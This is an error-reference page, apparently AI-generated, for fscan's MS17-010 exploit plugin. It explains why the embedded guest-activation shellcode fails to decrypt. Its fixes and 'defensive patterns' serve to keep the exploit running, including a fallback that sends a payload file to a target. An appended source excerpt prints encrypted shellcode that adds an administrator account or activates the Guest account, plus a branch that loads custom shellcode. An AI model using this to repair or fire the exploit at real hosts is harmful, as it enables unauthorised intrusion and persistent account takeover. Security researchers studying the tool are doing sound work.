What causes "ms17010_guest_shellcode_decrypt_failed: %w" in shadow1ng/fscan?

Restore an unmodified build from the official source so the guest ciphertext and defaultKey are consistent.

ms17010_guest_shellcode_decrypt_failed

Error message

ms17010_guest_shellcode_decrypt_failed: %w

What it means

This error is returned by executeMS17010Exploit (invoked via Exploit) when the built-in encrypted guest-account-activation shellcode fails AES decryption via aesDecrypt(scEnc, defaultKey). Like the other embedded payloads, it is a base64 AES ciphertext bound to the hard-coded defaultKey; a decryption error means ciphertext/key corruption or mismatch. The exploit aborts before touching the target.

Solutions

Restore an unmodified build from the official source so the guest ciphertext and defaultKey are consistent.
Check the wrapped %w error: 'illegal base64 data' indicates corrupted ciphertext; 'crypto/aes: invalid key size' indicates defaultKey is not 16/24/32 bytes.
If a custom guest-activation payload is needed, use the default branch (raw shellcode string or "file:<path>") rather than modifying the encrypted slot.
Verify your build tooling does not alter long string literals (codegen/minification).

Example fix

// before (mismatched key in fork)
sc, err = aesDecrypt(scEnc, forkKey)
// after
sc, err = aesDecrypt(scEnc, defaultKey)
if err != nil {
    return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
}

Defensive patterns

Strategy: fallback

Validate before calling

// pre-flight: verify guest-activation payload decrypts before targeting hosts
if _, err := aesDecrypt(guestShellcodeEnc, defaultKey); err != nil {
    log.Printf("guest shellcode unavailable: %v", err)
}

Type guard

func canUseGuestShellcode() bool {
    _, err := aesDecrypt(guestShellcodeEnc, defaultKey)
    return err == nil
}

Try / catch

if err := Exploit(target, "guest"); err != nil {
    if strings.Contains(err.Error(), "ms17010_guest_shellcode_decrypt_failed") {
        err = Exploit(target, "file:/opt/payloads/enableguest.bin")
    }
    if err != nil { log.Printf("exploit failed: %v", err) }
}

Prevention

Never change defaultKey without re-encrypting all embedded payloads.
Add a decrypt self-test for every shellcode type at startup.
Avoid build pipelines that reformat/truncate long string literals.
Use the default (raw or file:) shellcode branch for customized payloads.

When it happens

Trigger: Calling Exploit with the shellcode type set to "guest" when aesDecrypt(scEnc, defaultKey) errors — invalid base64, wrong ciphertext block alignment, incorrect key size, or key/ciphertext mismatch in the build.

Common situations: Tampered or patched builds where the payload or key was changed; forks that replaced defaultKey but kept the stock guest ciphertext; build pipelines that truncate or reformat the very long string literal.

Understand the failure class

Background: Checksum mismatch errors: "checksum verification failed", "digest mismatch", "expected vs actual checksum" — what they mean and how to fix them — this error's family across 41 libraries.

Related errors

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/e1b596e671e8d1e6. Report an issue: GitHub.

Appendix: source

Thrown at plugins/services/ms17010.go:441

			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err)
		}

	case "add":
		// 添加管理员账户 shellcode (加密)
		scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
		var err error
		sc, err = aesDecrypt(scEnc, defaultKey)
		if err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err)
		}

	case "guest":
		// 激活Guest账户 shellcode (加密)
		scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
		var err error
		sc, err = aesDecrypt(scEnc, defaultKey)
		if err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
		}

	case "cs":
		sc = ""

	default:
		// 从文件读取或直接使用提供的shellcode
		shellcode := config.Shellcode
		if strings.Contains(shellcode, "file:") {
			read, err := os.ReadFile(shellcode[5:])
			if err != nil {
				return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err)
			}
			sc = fmt.Sprintf("%x", read)
		} else {
			sc = shellcode
		}
	}

View on GitHub (pinned to 95cc12e753)